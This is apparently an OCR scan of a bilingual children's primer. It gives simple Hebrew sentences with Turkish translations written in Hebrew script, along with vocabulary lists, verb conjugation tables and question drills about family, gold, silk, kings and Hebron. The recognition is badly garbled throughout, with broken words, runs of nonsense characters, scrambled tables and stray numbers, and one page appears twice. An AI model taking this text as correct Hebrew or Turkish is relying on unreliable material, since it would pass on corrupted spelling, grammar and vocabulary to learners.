בכאם אממא
!-'-.
אנאם
אקאלרים בוגון אוררולר, דון אורמאדילר .
בנים ג'ובאלרים פַּכּ קיסאררילר כְנִג
ג'ובא לריג קיסארְמרילר .
רו הַתַאַרְנָה
שָרָה וְרִבְקָה רְדִידי משי ָפִים ְָּדִירי הַפַלְכָה אִם לא ?+" הַאַתּם כ
המלה הַחְכָמִים הַאַתָּה בְּנִי כְּתַבְת את הַפָפַר היקר הַזֶה? הַהין תשאל
מַהי אָם חָבְמַה+ העל הונ תַחמל + הַהִיכַל ה' וָה א הִיכַל הַמ המור
ָה אִם פַּרָר + הַעְצַלָה אֶחותְךּ אִם הַרוּצָה היא ז הַאֶלְבד אֶת הַמְִדָּל הגָבוה
הוה הַיּם אִם לא : + העל הֶעָנִיית הָאֶלָה לא יחמל המל + שְרָה וְְבְקָה לא
ְַּבוּ אלי כָּל ספרוּמַבְתּב. את אחותִי שמעת אֶת קול אָבִי וְאֶַת קל אַחִי
לא שמָעַת; הי: חָמל עְלִינו . הז ְלִיכֶם לא מל ה'! תלְמִיריו. שמ עו אֶלִי,
וישְמַע אֶלִיכֶם אֶלְהִים . שָרָה יַשבָה בְּחָברון וְאָנִי כָּתבְתִי אֶלְיהָ מ מהשלט
ִכְתבִים רָבִּים. אְָחנוּ טבְנו בִּירוּשָלם ושרה כּתַבָה לינו מכקבִים טויס .
את ישַבְתָּס בריס ואָנְחנוּ שְלתְנו אֶלִיכם מכַתְבִים רַבִּים. שֶרָה וְרִבְקה !
(חלק ראשון) 10
העיפים הַפוּסִים הַאָלָה ?
הלכו שרה וְרְכְקה לְכָרֶם דורן ?
צן:
הַאָנכִי אחמל על וְהָבִי ?
הַאַתּם תִבְטְחוּ בְהְכֶם +
אֶסֶּם ממלכו עלינו ,
-. לינו אַם המשלו בָּנוּ ?
נְִיב שכְנְף אָם כִּילִי ?
הָעָשִיר שכנכם אִם ענו ?
הענִיים שָכְנִיכֶם אם עָשִירִים ?
צר הכל ה' רְחֶב מַחָצר הַיכַל הַמָלְךָּ.
ַרְתָכִים חִצבי הַמָּלֶ אַם צָרִים ?
הַגְבוּר הַזֶּה לכד
לא לָכֶר..
הַמִַלְכָּה הַמֶכְמָה הואת לְכְרָה אֶת חברון
וְאֶת רושלֶם לא ל לְכְרָה
אמ חַפָצֶה לכב מִכַפְּכִים ולא לֶה.
אֶת חָכְרווְוְאֶת יְרוּשלם
סק ְרִבְקָה. חַפְצוּ: לְאָכל את כָּל
פוּתִים אֶשָר על השל חן ולא יָכלוּ .
הנבורים. הָאָלָה לְבָדוּ. אֶת. הַפִִּדְלִים
האלה ואת רל ָכרוּן לא לקה :
הֶם לא לְכְוּ אֶת מִגִדְלִי חַבְרון כּי לא
חְפָצו .
הָאָמַר אָבִי אַלִיף לכב את מַכַתְבָיו ?
אֶמִי אָמָרה אֶלִי לספר אֶת הָאָווים .
צַחק ושְמוּאֶל מִי כָּא אָלִיכֶם היום ?
זננו בָּא' אֶלִנוּ .
פד לרגל "הילדים
בו אטלר יורנון מי ריר?
שרה ורבקה אקאלריניג באגונא גיטרי לר
מי 1
בן מי אלטינימי אנ'יינ'כ אום ?
סיו מי מאליניוא אישאנג'ק סיניו ?
סיו מי אוזרימיוא פארשאה אולג'ק סוניו?
אוזרימיזא פארשאה מי אולאג'ק סיניו ,
יוקסא בּיזא חוכּם מי אירג'כ סיניו 1
קונשו! ג'ומרט מי קיוגנץ מי ?
קונשוניו זנגין מי פוקרא מי ?
קונשולריגיז פוקרא מי זנגין מי 1
רבי היכליניג אזברי פארשאהינ סארייניג
א אזפּרינדן כּנוש דור .
פאדשאהיג אזברלרי פּניש מי דור ראר
מי דיר ?
בוג'בכאר חברון נו זַכט
ני וט איטמר
ו עקללי מליכּה חברון ני זט איטרי ,
ורושלם ני זט איטמדי
אנאם מכּתובלר יאזמאיא איסטרי וא
קריר אולמרי .
יצחק ורבקה טראפיזא אוזרינדא אולאן
ג'ומלא אלמאלרי יימאיא איסטדילר
אממא קריר אולמאדילר .
בו בנאטירלר בו בורג'לרי זט . איטרילר
אממא חברון ניג בורג'לרוני וט
איטמרילר .
אנלר חברון ניג בורג'לריני זט איטמרילר,
זירא איסטמרילר .
סנא מכתובלריני יאזמאיא סוולרי
מי? (אָמר איטרי מי?6)
אנאם בא ג'ויז לרי סאיימאיא אמר איטרי .
יצחק ושמואל ! סיוא בונון כּים נלרי ?
ביוא ג'רומיז, (קרט בבאמיו) גלרי .
אוטחי, ירושלם
בכאם
ששכ מ שה ב 0 <<<
לרגל הילדים 1
ה | .
פֶּקָר, = פּקְך + א פִּקרָה= פִּקְדָה: 4 פְקרְת = פּקרְתּ + פְקרְת = פקרת 5
מ דה !ןד : ב
פֶּקרְתִי = פַּקְרְתִי + פקדוּ= פקד1 5 פְּקְְנוּ = פקרנו :
הפצה = חפצ + הפצו == חפצו :
זן: ד + "הןד ד : "הו
ד
הָפץ= חפיץ :| פפצת= חִפְצָתָ + | חְפַצְתִּי= חִפַצָתִי + | מְפַצְנוּ = חפצנו :
/ ד חן כ + דהן: וג זזהקן |
לד = יכל יַכְלֶה= יבָלֶה 1 * יִלְת = יכלת 1 יכו = ילו :
אֶל. אֶלִי, אֶלִי, בגא , אֶלִיךָ, אל ליך , פא ; אֶלְיו ; אלה , אגא ;| אלינו
ביזא , אלִיכֶם : אלב סיזא יס ליה , אגלרא .
על, עלי אודיטא, | עליך . עליך , סניג אוזרנא ,= עלָיו , עלְיתָ , אניג
אוזרינא , עלינו , אוזרימיזא . | ליכ . עליכ עליכן , אוזריניוא, | עליהם ,
שליקן, , אנלריג. אוזרינא . ו
הַיש לָכֶם אב אִם איןץ סניג בּבאג ואר מי יוקסא יוק מי דיר ז
העשיר אתה אם עני ? סן זננין מי סין יוקסא פוקרא מי סין 1
הַחרוּץ הְעַבֶד אם עצַל + קול זייר מי דיר יוקסא טנבּל מי דיר +
הַמְכַרְתּ אֶת פוסף אָם לא ? אטיגי סאטריג מי יוקסא יוק מי 1
שבן (ץ א נ', קונשו . חִמַל , על פּ' , אג'ידי . בָּצַר (עתי יכְצר) דוושיררי
לָכָ , זט איטדי . דוטרי > בָּטַח, (עת' יבְטַח) בּפ' ' בּאג בּוזרו.
- (עת' וְזֶרְעָ) = סאצרי . אישנדי. ו עַת , נ' > וקת, (ועקט)
/ אורלק סאצרי . ה', יהוה, אַדנִי, רב + בי + נָרִיבְ , גזמרט . עדיל . בג '
קְצַר (עת' וקצר) אופרוּ, = שָפָּל, (עת' ישפָּל) , אלצק יל , קיזנץ .
קר (עח'/ ְקְצַר): :קישא | | אלדוח | קצָר , קצרה , קיפא .
אולדו + מְשָל , (עת' יְמְשַל) בּפ' ₪4
חובָּס איטדי .
הָחָמַל הִעָשיר הוָה עַל וַהְכוּ אָם לא בו זגין אלטיניני אג'יר מי יוקסא יק
(אנ'ימאדי מי ?)
הַכִילִי הָעָשִיר ההא אֶם נְרִיכָ + או זנגין קיוננץ מי יוקסא ג'ומרט מי +
הַעַת לָכְתּב אֶת הַמְכְסְבִים אִם לא 1 מכתובלרי יאזמא יא ועקט מי יוקסא יוק מו?
הַעְבְרִים הַנְּשִיאִים הְעָשִירִים הָאָלַח ז כו ונגין אנאלר ישראל מי ריר +
הַמְכָמִים אַתֶּס מִִּלְמִירִי הָאָלֶה + סיו ּנים כו תלמירלרימדן חכם מו סיניו?
7
לרנגל הילדים
1\ א
שם יחיר | שם רבים
נפרר וקן , ניד, קרט בְּבָּא . ַקְנִים .
נסמך | זקן | יסף, זַקנָי ייסף .
. .
| >:
כ = | וקנכן הנִכָס | וְקְנִיכָן
לזכר | לנקבה | לזבר | לנקבה
| זקנם קנ ּקָנִיתֶם = | וּקְניתָן
חוב | שם יהיב שם רבים
נפרד | ה חָצָר , אזבר חצרים .
נסנך | חָצַר הַהִִכָל , חִצְרִי המֶלְף
| | | סי = | מצרי= = | הצרי = | חצמ
: חר | מצךר | מ | חצר
"| מצרי = | מה | מצכיי = | חרק
פן| הצכט | מצו | | מצכנו | | חצרנו
|| מצרקם = | מעלכן = | חצריבם | סצריכן
ט
מס | חְצקן = | חִצְרִיתָס: | חַצְרִיתָן
דמפשויהאהההטמטיההיזהההוההמקמממטומהמקטקסטומהחטרסתמט--ה--היהשההקקקטחחה- חר 'טפפדדדצוטהחח-שרטחה= =,
לרגל. הילדים 9
דיכריכלרי מרי קאלפאגי איסטדים . קיוקררשים : סגא בו אלטין זינג'יללרי
כּים וירדי+ גומוש בילזיכלר אלטין בילויכלרדן פחאלי מי דיר + סניג גומוש
בילזיגיג קיז קרדשימיג שר לאֶחותִי) אלטין בילאזיגיגדן פחאלי דיר .
קיוקרדשים : ייגי מכתובלריגי מוחורלֶא . שרה ורבקה ! פאדשאהיג
עקללי אגאסיני וא זנגין וכ יליני גורדוגמי ? קיזים : בו ייגירובאגי נא איצון
יירטדיגז סיזא סיקלת גונדא יארדים אידמיש אללהא עיבדת אידיגיז. שרה
ורבקה ! בגא קיזקררשים טוקודוגי איפכ בורונג'יכ גּיבּי ביר פחאלי איפכ
בורונג'יכ מוקוגיז , בו אגיר אראבּא יא בבאמיג מנבל אטלריני נא איצון
ייכדיג . קיזים ! נא איצון ננדיגא אקאגדן ביר אלטין זינגייל איסממ סין ?
קיזקרדשים: נא איצון אקאג ניג פוקרא תלמידלרינא יארדים איחמז סין !
אנלר קדר פוקרא תלמידלר ואר מי ריר ? אנלר דן זיירא פוקרא תלמידלר
ואר מי דיר + קורשון קאדח גיבי אגיר קאדח יוק דיר . קלאיי מאסלר
קורשון פילגינלרקדר אגיר מי דיר. בו פניר לר או פניר לר. דן איי מי
דיר. בו קורשון פילגינלרי כּים יאפרי. בו קלאיי טאסלרי יפאן אוסטאלר
או אגאץ אופמאלרינדן זנגין דיר. בו פניר לרי אנלרא <קנף) כּים וירדי +
בן בו פניר לרי סיזדן אלמדים . אקאמיג' זיירפ | קיזי בגא פחאלי איפכ
בורונגייכ לר טוקודי . סן , קיזקררשים : אניג גִיבּי פחאלי איפכ בורונג'י
לר דוקור מי סיז?. =
6 1
האתה בַּנִי עשו ? אוגלום עשו פן מי סין ?
הַאָכתב אֶת הַפָּפַר + כתאבי יאזיים מי ?
הָאָנְכִי כָּתָכְקִי אֶת הַפָפָר ? כתאפי בּן. מי יאורים ?
הַהִכָּה אֶחִיף אֶת הַעַבָר ? קרדשיג קולי דוגרו מי ?
הַהרְגת אֶת הַנָנָב + כירסיזי אולרורריג מי ?
החול זה אָם עפַר + בו קום מי יוקסא טופרק מי !
הַחָכֶם אַתֶּה מַדָנְיָאל + סן דניאל דן עקללי מי סין ?
הַעַבָד הוה גגב את הכ ? פראיי בו קול מי צאלדי ?
הַעית אַתָּה אַחִי ? סן. ירגון מי סין . קררשים ?
הַעָשיר הנשיא ההוא + או אגא זגין מי דיר ?
5% לרגל הילרים
אחותי תפרה לאחי פאר עור יפה מאר. בתי: צעקי אל האלהים
ביום צר והוא יישמע את קולך.. מי זאת+ - בתי הגדולח. מי,אלה +--
נשיאי המלף החכמים. בתי הזאת חכמה מאחותה הגדולח, אף אחותה
חרוצה ממנה. שכבי כל היום כי חולה את-- . חזקו , תלמידי ;ועבדו:את
האלהים ואת המלך . שלמה ומשה: שחמו לי את הפרה הלבנה : שחה
רבקה! חתמנה את מכתביכן היקרים האלה אשר כתבתן לדודיכן: סכין
7 החד הזה יקר מאד , הוא חר מהסבין אשר קנה אחי ממף אתמלי.
צורף הזה עשה את צמידי הוהב האלה אשר לאמי . הצורף אשר עשה
אח צמירי אחותך היקרים חכם וישר ממנו. מה אשאל כמך, דודי ?
שארי צנ .
רבייי = ₪ וצמידי כסף 6% ).רביוו .וי האור" 4 8 הביא ארי
ו -00- -=*: =ו-9וןוו; ןו הו 20
מחברון? גביעי הזהב האלה מלאים יין וגביעי הכסף ההם מלאים מים'.
אחותי תפרה מעילי משי, ומעילי משי ההם יקרים ממעילי הצמר אשר
תפרה אמי. אבי קנה היום מורקי נחשת גדולים מהמורקים אשר עשה
אתמל החרש המצרי . עמודי השיש אשר בהיכל המלכה גבוחים 2
האבן האלה . תפוחי האלה גדולים מרמוניך עקנה) הטובים ההם? המל
שלמה עשה את מגדלי ירושלם האלה הגבוהים ממגדלי חברון . תלמירי
חכמים. מתלמידיך לא שאלו מאלהים כסף או זהב, הם. שאלו ממנו
חכמה. - ! מתי תצרף את 8 בכור הוה% צרף את הכסף ,
נים אלטין קאדחלרים ואר . יהודה ניג ייגי טורכולריני אשיטריג-
כמי! ירושלם דאכי טאש בו 6 חברון דאכי אג אץ בור רגילר דן אוכסכ
ר'חד. ב ) וגא סנדוק בּכּאם ם דון סאטון אלדיני דמיר סנדוק קדר אגיר
₪ . -בן טאש דירכּרך או כרמר די 7 קדר דילבר ב כנים מרי
ררת פאן גים ם יוק ן דיר בבאם בא גטירדיגי מרי 2 -% גורדונמי? פ ?לאדשאן היל
= + -- במ כו .
קיזי עקללי דיר. בנים ם קיז קרד אשים אנדן עקללי ריר בן | דון בקל דילבר
פאדשאה קיזי גורדים . פאדשאהיג עקללי קיזי ביר פב איי תאב יאזדי .
פאדשאהיג עקללי קיזי בו דיר. פאדשאהיג בו עקללי קיזי ב2א ביר איי
א 9 - -=2=|. --
יפכ נ'ובא וירדי , הוי איפל נ'ובאררינ יון עו באלריל כדר דילבר דגיל
אידי. בנדן נא איסטרסין ? בו פאדשאה קיזי פכ זנגין דיר, אנדן נקנה
אלטין איסמניז נקבה). פאדשאהיג עקללי אגאלרי וא זנגין וכיללרי אנדן
\ 4
אניג בייאז ; נטלריני וא זיירכ אשכלריני איסטדילר.. דאר נונדא א
פרייאך איטדיגיז מי+ אנדן חכמה איסמדיגיז מי? בן בוגון ביר דאטלי
בוזאב אטי 0% - בראם אונוז אמיני יודי וא דאטרי בוזאר אמיני בנא
וירד % קרדאשים ! סנדן תן פחארי ובאל 5 גי איסטיינ': אים . - בן ! א נלרדן
+ + לרגל הילדים 7
ּני ! אֶהָב אֶת הָאֶלָהִים וְאֶת הַפֶלֶ . | אוגלום ! אללהי וא פארשאחי סַ3 ,
אַחותי ! אֶהָבִי אֶת אָבִי וּאֶת דורי . קיזקרדשים ! בּבאמי וא אקאמי סָב .
הלמר ! אֶהְבו אֶת הַחַכָמַה 1 תלמידלרים ! חכמה יי סוויניו .
שֶרֶה וְְבְקֶה ! אֶהַבְּנֶה אֶת דורִיפֶן . שרה ורבקה ! אקאלריגיזי סוויניו.
תמרו הַצָעִירִים הָאֶלֶה חַכְמִים מִכָּן . = = כּו כיציכ תלמירלרים סיורן חכם חיר .
א חַכְמִים מִפֶנִי ומְהֶם . | | סיז פנרן וא אנלררן חכם (עקללי) סייו .
אמִיחַכַמָה מאפף ואַחותי חַכְָמָה מִמֶּפָה. = אנאם אנאגרן עקללי ריר וא קיוקררשים
אנדן (רא) עקלְלי ד
העברים יצאו כִכּוּר הַבָּרוּל מַמְצְרְיִם . | בְּנִי ישראל רמיר אוג'אק רן , מסררן ,
7. ₪ . :7 * *: : פ
ציקדילר .
שלמה ! חָתם אֶת מַכְפֶכָף הוה . שלמה ! בו מכּתובוני מוחורלא .
אָבִּי = נה | מְוֶרְקי נְחשֶת = גְּוּלִים = בּבאם סיזיג טאסלריניו רן. בּיוכ באקיר
מִמְְרקִיכֶם . טאסלר כאטון אלרי ,
הַצְמָירום הָאֶלָה הַנְדולִים מִצְמִירִיָן יקרִים = בו סיויג בילויכלריניו רן ביוכ בילויכלר
מאר . פּּ פחאלו דור .
משֶה החש רש עשה נחש נחשת . הָעָבָד נִפַּל אֶתמל מָעַל מַגְדּל הֶז
ה . אֶמִי שָלְחָה לי חַרִיצִי חָלֶב. לְמָה לא 9 מחרִיצי הַָלֶב אֶשָר
1
שָלחָה לי אָמִי) מַתִי ָאָרג אחותך לְאָמי רריד שי + מִי תָפַר אֶת פָּאֶר
הָעור אָשֶר על ראש הָעַבָד ? בַּת דורי גָדַלֶה מָאד וַאַחותִי י ְָלֶה מִ מִמָצָה.
ִּלְמִירְיך. חַכְמוּ מָאר ְַלְמִיִי הכמ מַהֶם. תלמִירִי ורי הַתכְמִים גדלו
מִמִךּ מ ִי וַָּחי.. מָהִי תספר את רָמון 1 -- ספר את רמוניך הַוּם +
סָפְרוּ אֶת תפוּחַיכֶם . שָרָה ורְבְקה : לְמָה לא תִסְפּרְנָה אֶת הַתְּפוּחָים !
ספרְנָה אֶת התפוּהים . אֶחותִי ! לטה לא תספרי אֶת תפוחי דוד הטוּבים ,
ְפָרִי צת תפוח בי לְמָה לא תַעָבר אֶת נְשִיאִי הַמְלְך החִכְמִים? עבר
אֶת נְשִיאִי המָלְך חָהֶם. בי אַת העבדי אֶת הַמַלְכָּה הַזאת . עבָרִי אֶת
ַמַלְבָּה הַחַכָמָה ַא . , שלֶה. וְרַבְקָה לְמָה לא תַעְָנָה אֶת הקקן +
אי לי אַחותִי רָרִיד משי . תִלְמִיד ו עבדוּ אֶת האלהים . תַּלְמִדִי! אַק
עבר ו אֶת ָאהִים ו כו ן אֶת קצלל, . עשירים: לפ .
בו
הפקל סוטו
66 לרגל הילרים
ָצְחְק הצורף עִשָה/ לְאַחוּתִי צְמִיר זָהָב
טוב .
הַרְאִיתָ אֶת צמִיר הוָהָב הַהוּאץ
מִי עַשַהאֶת רְבִיר הוָהָב אֶשָר לאַחותִי+
אְמִי לְבשֶה רְרִיר מָשִ .
5% הַמָשי אֶשֶר על אמף יקר מאר
מִי מִּפַר אֶת מָעלִי הַמָשִי ההם ?
מעילי חמשי הָאֶרָה אָשָר ! על ו הַנְשִיפִים
יקרים .
זמלבה יסרח בְּחְבְרון מגדל אָבֶן נָּבוהּ.
ב-.
[
-
מַכִינִי הָאָלָה חדִים מִפַכִּינִיכֶם הָהם .
אחותי ! של חי לרודי א ת חריצי |
אַשַר שאל מִמַך .
שרה ורבֶקה ! מכרנה 8% אֶת רדידי
הפש אֶשָר אַרְנָה. לב השְפְחָה
הַמְצָרִית .
שלַחְנָה לְאָבִי אֶת מעילי הַפָּמֶר. אָשַר
שאל מִבֶּן .
צעקו אֶל הְאָלהים בְּיּם צר וְהוּאישָמע
עכדו אֶת הַאָלהים והוּא יעזר. לָכֶם .
אַסְרוּ להאה ת סוסי הַמִרָשִים הְאַלֶ .
יו מע \ את רכה
הטוּבִים .
אחו פֶּתַח אֶת הלת .
אֶוחִינַסְנִָי את הַדּלֶת .
קויומג'י יצחק קיוקררשימא ביר איו אלטין
בילווכ יַאִפָּרִי .
סן או אלטין בילויני רחמו .
קוזקררשימינ אלטין בילזוגיני כּים יאפרי +
אנאם איפכ בורונג'וכ גיידי .
אנא אוזרינרכי איפכ בורונג'וכ פּכ
פחאלי דיר .
או איפכ ג'ובאלרי כּים ריכרי +
אנאלריג אוזרינדאכי בּו איפכ ג'ובאלר
פחאלי ריר .
מליכה חברון רא ביר אוכּסכ טאש מורג'
טמל איטרי
חלאייק או אוכסכ טאש בורג'יג אוזרינרן
יינילרו .
בּנים בו פיצאקלרים סיזיג או פיצאקלריניז-
רן כסכין דיר .
קיוקרדשים ! אקאמא סנדן איסטדיני סוט
כסכלריני (פנירי) יוללא .
שרה ורבקה ! סיזא | מסרלי חלאייק
טוקודוני איפכ בורונג'וכלרי כּנא סאטא
סיו .
בּבאמא סיורן איסטדיני יו ג'ובּאלרי
יוללאניו .
אללהא דאר נונרא פרייאר אודיניו וא או
אשיטיר .
אללהא חיזמת אידיניו וא או סיזא יאררים
אודר .
בו ייני ַטלרימי אראבא יא ינויו .
אונלום ! אללהרן עקל איסטא .
אונלום ! עקללי אקאנינ אוי סוזלריני אשיט.
קרהשים ! קאפווי אץ .
קיזקררשים ! קאפויי אזרט .
לרגל הילרים 5
ַעִילִי הַאֶלָה יקְלִים מָאד , בנים בו ג/ובאלרים פכ פּחאלי דיר .
מִזרקי י הָאֶלָה 0 / בּנים בּו טאסלרים שראב דולו דיר ,
אלה מנילי הַיִסְרִים, = פחאלי. ג'ובאלרים פונלר דיר .
אלה פקידי הַשָרִים ; דוגרו וכיללרים בונלר דיר .
כָּתַב , יאזדי | מכר)בֶּתב , קבה בתכיי | יאז
ְּתַבןּ , כַּהְבְנָה , יאזיניז .
עמ , דורו עבר .7 עטר לד
עמרו ' עִמַרְנָה, רניו .
שכר , יאטרי שבָב', שבבי, יאט .
- שבְבוּ ,| שבבנה. אטפיז,
חָוּק , קוותלנדי חוק , חקי , קותלן .
חזקוּ : חוְקנָה , קוותלניגיז .
שח , בוגאזלרי שתט , שחץי , בתאזלא .
שחטו , שתמנה , בוגאולאניז .
שאל, סורדי שאל , שאָרִי , סור:
'/ שאֶלו , שאלנה : סורוגיו .
צַעַק , פרייאד. אי צעק , צעקי 0 פר' איד .
צעקו , צְעַקנָה , פר' אירְיגיז .
שמע , אשיטרי שמָע, שמעי , אשש .
שמָעוּ ,א שְמענה, אשיטימיו .
בְרָה, קאצדי בְּרַח , בּרְתִי, = קאץ.
ברח., בְּרַתְיָה | קאציניז.
אהב , סוודי אֶהב., אהבי , פיוו .
אֶחָבוּ, | אֶהַבָנָה, פווגיז.
מן , דן , כי, ממני , בנרן ו ממך , מִמֶך , סנדן ; ממנו , מִמֶנָה , אנרן נ
ממנו, ממנו. בייה ; מַכָם, מכן , סיזרן מהם, מתן אנלררן .
רְרִד , זי ם) בורונג'וב... -. ברול , ד טמיר . דמיר . | צֶרַף, (עת' יצַרף)קאל איטרי.
יחו (1) סונגי . צִמַר., ז' + יון יפאק. (גומושי)
צָּמִר, זי (ץ1) בילזיכ . | עור , ז מָרִי . צורף, ", קויומגי .
רְביד, ז(צ1) זינג'יל. = ה תָלָב 1% (9) סי חַכֶב. סוט. אָבֶן , ני + טאש, דאש.
עַפַרֶת , נ' + קורשון . חרִיץי, זי , (1) ב חָרִיצִי * כּוּר , ז' . אוג'אק, פומא .
ברל , 1 . קלאוי . הָלֶב סוט כּסכלרי. פָּנִיר * = פָּאַר | ז' בוּרְב + קלפאק .
וחלק ראשון) ,
64 קרגל הילרים
ורבקה בוגון אנאמא יארדים אידמייג'כלר . בו זנגין ארם אלטין צשמאפי
דיר . אנין 3 אלטוני פב צוק דיר . סיזיג אלטיניגיז ביזים אלטוניטיזד דן צוק
דיר. ביז בו גג'א דוש גורמייג'כ איז. ּוטגבל תלמידלר חכם אולורלר מי ?
0 9
בי , קאדח . גּבִיץ זֶהֶב , אלטין קאדח .
ארון , ז, נ' , סאנדוק . ארון | עץ. גאץ סאנדוק .
מְשי , איפפ , ייפד . מעילי משי, איפכ ג ג'ובאלר .
נְחשֶת, נ', בּאקיר . מזְרקי נחשת, באקירטאסטר.
שיש : רמר יד די רר
שי ש , ז', מרמר, טמודי שיש, מרניר רכקלר :
י קִנָה | גְּבִיע זֶהב , באס ביר אלטין קארה סאטון אלדי .
אבי קַנָה אֶת גְּבִיע הַזֶּהֶב , בּבּאם אלטין קארהי סאטון אלדי,
אמי הפרה מִזִילִי משי, אנאם איפכ ג'ובאלר דיכרדי .
,
אק
.
אָמִי הפרה אֶת מ! ליי המשי, אנאם איפאכ ג'יבּאלרי רוכרי .
6 0
בְּהִיבָל המַלְף עמודי שיש ג גבוְהים , פאדשהיג סראיינדא אובסכ
מרמר דירכלר ואר ,
עמודי השיש נבוהים מָאד , מרמר דירכלר בגאית אופסכ דיר ,
.. הש -ר . - 6 [
עפודי השיש הגבוהים יִפִים מָאד, אאכפ מרמר רירכּלר פכ
דילבּר דיר ;
אָמִי תָפַרָה מעִילִי משי יקרים , אנאם פהאלי איפפ ג'ובאלר דיכדי .
אַמִי חִפָרֶה את מִעִילִי המשי היקרים , אנאם פחאלי איפכ
ג'ובאלרי דיכדי .
מִעִילִי המשי שי יקרים מאר , איפכ ג'ובאלר 35 פהאלי די .
בו אלטין רי בר: פתארי דיר
%
מזרק הנהשת הזה מלא, כו בּאקיר טאס דולו ריר .
ד ד 2
חשת הא המלא , בו בקיר טאסלר חולו ריה..
ּנים אטים דיר .
: יי
פוספי זה ור מאד , בנ ם.בן אשים כב פחא די דיר.
. : -
אלה המרי , בוגלר אשכלרים דיר .
מורי אלה עַצָלִים מָאך , 5גים בו אשנלרים פכ טגבל דיר .
לרגל | הילדים 3
אשיטדי מי + רבקה ! סן בנים איי סוזלרימי אשיטדיג מי + סן ק) בּנים
איי סוזלרימי אשיטדיניג גיבּי יאזג'ק מי סין + אנר בגא ביר איי רובא -
איסג עקבה בן סגא בו ביוכ | כתאבי יאזמאכא יארדים אידר אים . אנאם !
אגר בגא ביר איי רובא דיכר איסנבּ; או רוכאיי יירטמאם .
איה דודף , אחותי + -- הוא הלך לכפרו החדש אשר קנה . דורי
הלכו לכפריהם החדשים. אחותי הלכה לכפרה החדש אשר ירשה מאבי
,. -- - ב | <וו 2-2 וו הווש = - בש
לא ראיתי את הפרות הדלות אשר שחטו דודיף ולא אִכלתי מבשרן
-<= א
לק ראיתי את החכמים ואת דבריהם הטובים לא שמעתי. לא הלכתי
נשזי: .- ייר - רם 5 = \ 5% רה -- .ו\>*. - מור מק . הי
ם הנ . ם העש יי מ לי ₪ וה טים ' א / ני - הלכו לכפו יצ ו
. שה הז עשי 7 | ר"וי + 5 לתרוי ו
א ואת ע הת וכפריה רבים. אהותי ! כפי מנווי ב
טובים וגדולים מאד; אני ישבתי בם . יי היעורו לכם כסף וזהב
שו
ביום צר ? התאפר את הפרה החוקה אשר טר לף בּעגלת הכברה הזאת ?
ור - ו *ופאציר- וש והודרר.
אחותי ! אני לא אכלתי מפרי תמריך : אשר - . שרה ורבקה לא
ונת לד מאופה יקצסות - מאר .. אתן לא תארגנה לי מאומה כי
?יה ת ₪ - - ו בטנרות המר: ות
לצרה ג אתן מפאד . אחותי לא ל שים בעגה : ; או
האלה כי כברות הן מאד | השפחת הואת ו ההיא לא תחכמנה ;
לא ראיתי סכלות כמוהן . נהרי אריץ ישראל זכים מאד .
תרמידלרים ! סיז רו ַרתוררחיו הצא ר'ידחיסיריוי* - סיניז ] פיי סא
3 - \- = 0 = | יין = ו 108 4 - 2
+:- .- . רז - מוהורלר \ יו ף%ף =- מכתוכי = ₪ ו גת מוחור .../-
מבתוכלרי סל אין . 1 ל אים ,
". שו וו -| ₪ ש.\ 6 | | שי
. 2 ,
שרה ! סן 0 :א יוללאייגשיג מכתופי מוחורלייג'כ מי שי אנאם ! בגא
שלמה ניג בּייאז רובאסי גיבי רובא חצאן דיכ סין ? סנא ג'וכא נאסלי
ה 9 סן או ג'ובאיי - יירטאר סין . שרה ורבקה : סיז שלמה ני:
פחאלי ג'ובאלרי גִּבּי ג'ובאלר טוקוייג'ק 8 סיגיז + בּו אכאלריג קאנלריני
(דם 01 כים דופרי? אנלריכ קאגיני בו פנא וא יארמז מפרלי רוּכדי . שרה
ורבקה ! אגר סיז קאפויי באסטירמייגיק אים:יז יארמולר קאפויי אצארלר וא
אבדן גומוש וא אלטין צאלר קר. כן אקאמא היזמת אודג'כ אים . כּיז אללתא
חיומת אידג'כ איז . סן בו עקללי וא איי פארשאהא חיזמת אידר מי - ָ?
בן כּו אגאיא נאסלי - אודמיוג'כ אים ? או בּנום בּכאמא (בבאם אילן)
% אייליכ אימדי . בבאמיג ייני כויילרי אַקאלְריניזי2. כויילרינדן ן איראק
,
מי דיר 1 קיז קרדשימיג שירין טורכולריני אשיטריג מי+ איי וא פחאלי
אמלריגי בו אראפא גיכי חולו וא אגיר אראכאיא ייכר מייפין + בו א:יר
אראפּאיא מנבר אשכררימיזי ייכיים מי + כו אגאלר מסר פארשאהינא
יארדים אידר רך ו ָ? קיוקרדרשים אנא א דוי.* יארדים איך: '> \%% 3 שרה
--ו < =- <\ו
64 לרגל הילרים
ורבקה בוגון אנאמא יארדים אידמייג'לר . בו זנגין אדם אלטין צשמאפי
דיר . אנין : אלמוני כ צוק דיר . סיזיג אלטיניגיז ביזים אלטינימיזדן צוק
דיר. ביז בו נג'א דוש נורמייג'כ איז . בומנכּל 3 חכם אולורלר מי ?
9 0
ְביץ , קארח . גּבִיע זֶהֶב, אלטין קאדח .
ארון , ", ני , סאנדוק .= אָרון עץ, אגאץ סאנדוק .
מַשי, איפכ , יפכ . מַעִירִי מָשִי, איפפ ג'ובאלר.
נְחשֶת, ג", באקיר . מזרקי נחשת, באקירטאסלר.
שָיָש , ". מרמר, שמודי שיש, מרמר דירכלר .
אָבִי קנה = גביע זֶהב , בכאם ביר אלטין קאדת סאטון אלדי..
אבי קנה אֶת גָּבָיע הַזֶהָב , בּבּאם אלטין קאדחי סאטון אלרי.
אמִי הִּפָרֶה מִטִילִי מָשי, אנאם איפכ ג'ובאלר דיכרי .
אֶמִי הּפָרָה אֶת מִעִילִי המשִי, אנאםאיפאכ ג'יבּאלרי דידי .
בָּהַ הכל ן הפל עמודי שי? שג בוה ים , פאדשהיג סראיינדא אוכסכ
מרמר דירכלר ואר .
עמודי השיש גבוּהים מָאד, מרמר דירכלר בּגאית אוכּס: דיר .
--=
עמודי השיש הגבוהים יפים מאד , בסנ מרמר רירכלר פכ
דילבר דיר ;
אמִי תַסְרֶה מעִילִי מָשי יקרים , אנאם פחאלי איפכ גיובאלר דיכדי .
אַמִי מִפְרֶה ואת מעילי הַמָשי היקרים , אנאם פהאלי איפכ
ג'ובאלרי דיכדי ,
מעילי המשי וקרים מָאר , איפכ ג'ובאלר 35 פהאלי דיר.
גְבְי הַזֶהֶב הַזֶה יקר , בו אלטין קאדה פהאלי דיר ,
מִזְרַק הנחשת הזה מָלָא, בו באקיר טאם דולו דיר .
ביעי הזהב ב הָאֶלֶה יקרָום, בו אלטין קאדהלר פחאלי חיר .
רל קי קנח טֶת ה 7 אל המלְאִים , כו בקיר טאסלר דולו ריר .
זה ו , בו בּנים אטים דיר .
